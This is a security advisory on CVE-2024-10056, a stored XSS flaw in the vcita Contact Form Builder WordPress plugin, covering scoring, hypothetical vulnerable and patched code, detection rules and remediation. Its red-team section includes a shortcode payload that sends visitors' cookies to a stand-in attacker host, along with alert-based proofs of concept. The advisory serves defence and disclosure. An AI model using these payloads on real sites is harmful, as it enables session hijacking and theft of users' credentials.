CVE-2024-10056

Executive Summary

CVE-2024-10056 is a Stored Cross-Site Scripting (XSS) vulnerability in the Contact Form Builder by vcita WordPress plugin, affecting all versions up to and including 4.10.4. The flaw resides in the livesite-pay shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript that executes when any user visits the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing the plugin or implementing virtual patching. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which relies on the plugin repository for updates. The lack of a patch from the vendor introduces supply chain risk, as users must rely on third-party mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor-level access
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access, but the impact is limited to XSS. However, in a WordPress context, XSS can lead to privilege escalation if an admin visits the page.

Deep Dive & Mechanics

The vulnerability exists in the livesite-pay shortcode provided by the Contact Form Builder by vcita plugin. Shortcodes in WordPress allow users to embed dynamic content via attributes. The plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the HTML output. An attacker with Contributor-level access (or higher) can create or edit a post/page and insert the shortcode with malicious attributes, such as:

[livesite-pay attribute="<script>alert('XSS')</script>"]

When the page is rendered, the unsanitized attribute is injected directly into the DOM, allowing arbitrary JavaScript execution. The stored nature means the payload persists until the page is deleted or the plugin is removed.

The root cause is insufficient input validation and output escaping in the shortcode handler. WordPress provides functions like esc_attr() and wp_kses() for safe output, but the plugin does not use them for the livesite-pay shortcode attributes.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the shortcode handler in the plugin. A hypothetical patched version would sanitize attributes using esc_attr().

Vulnerable Code (hypothetical):

function livesite_pay_shortcode($atts) {
    $atts = shortcode_atts(array('amount' => ''), $atts);
    return '<div class="livesite-pay" data-amount="' . $atts['amount'] . '">Pay</div>';
}

Patched Code (hypothetical):

function livesite_pay_shortcode($atts) {
    $atts = shortcode_atts(array('amount' => ''), $atts);
    $safe_amount = esc_attr($atts['amount']);
    return '<div class="livesite-pay" data-amount="' . $safe_amount . '">Pay</div>';
}

The patched version uses esc_attr() to escape the attribute, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Contact Form Builder by vcita plugin <= 4.10.4
• Authenticated user with Contributor role or higher

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the shortcode with a malicious attribute:

   [livesite-pay amount="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or save the post.
5. When any user (including admins) visits the post, the script executes, exfiltrating cookies.

Proof-of-Concept (PoC) Code:

<!-- Place this in a post/page via the text editor -->
[livesite-pay amount="<img src=x onerror=alert('XSS')>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the livesite-pay shortcode with suspicious attributes.
• Use WAF rules to block requests with <script> or onerror in shortcode attributes.
• Review user activity logs for Contributor+ users creating posts with unusual shortcodes.

Prevention:

• Disable the plugin until a patch is available.
• Implement a WAF rule to sanitize shortcode attributes.
• Restrict Contributor roles from using shortcodes via user role editor plugins.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/contact-form-builder-by-vcita/ (presence of the plugin)
• Shortcode pattern: [livesite-pay amount="..."] with suspicious JavaScript in attributes
• Network traffic: Outbound requests to attacker-controlled domains from WordPress admin pages
• Log entries: Unusual post content containing <script> tags in shortcode attributes

Detection Engineering

YARA Rule

rule CVE_2024_10056_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress posts targeting vcita plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10056"
    strings:
        $shortcode = /\[livesite-pay\s+[^\]]*?(?:<script|onerror|onload|onclick|javascript:)/i
        $payload = /<script[^>]*>.*?<\/script>/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: CVE-2024-10056 Stored XSS via vcita Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the livesite-pay shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.request.body|contains: "[livesite-pay"
        http.request.body|contains|re: "(<script|onerror|onload|onclick|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10056 Stored XSS via vcita Plugin"; flow:to_server,established; content:"[livesite-pay"; http_client_body; pcre:"/(<script|onerror|onload|onclick|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove the Contact Form Builder by vcita plugin until a patch is released.
2. Apply WAF rules – Use the Suricata or Sigma rules above to block malicious shortcode attributes.
3. Audit existing content – Scan all posts and pages for the livesite-pay shortcode and remove any suspicious instances.

Long-Term Fix:

• Monitor the plugin’s official page for a security update. If no patch is released within a reasonable timeframe, consider switching to an alternative contact form plugin.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workaround:

• Restrict Contributor and Author roles from using shortcodes via a plugin like "User Role Editor" or by modifying functions.php:

remove_shortcode('livesite-pay');

Valters IT
Cyber Threat Intelligence & DevSecOps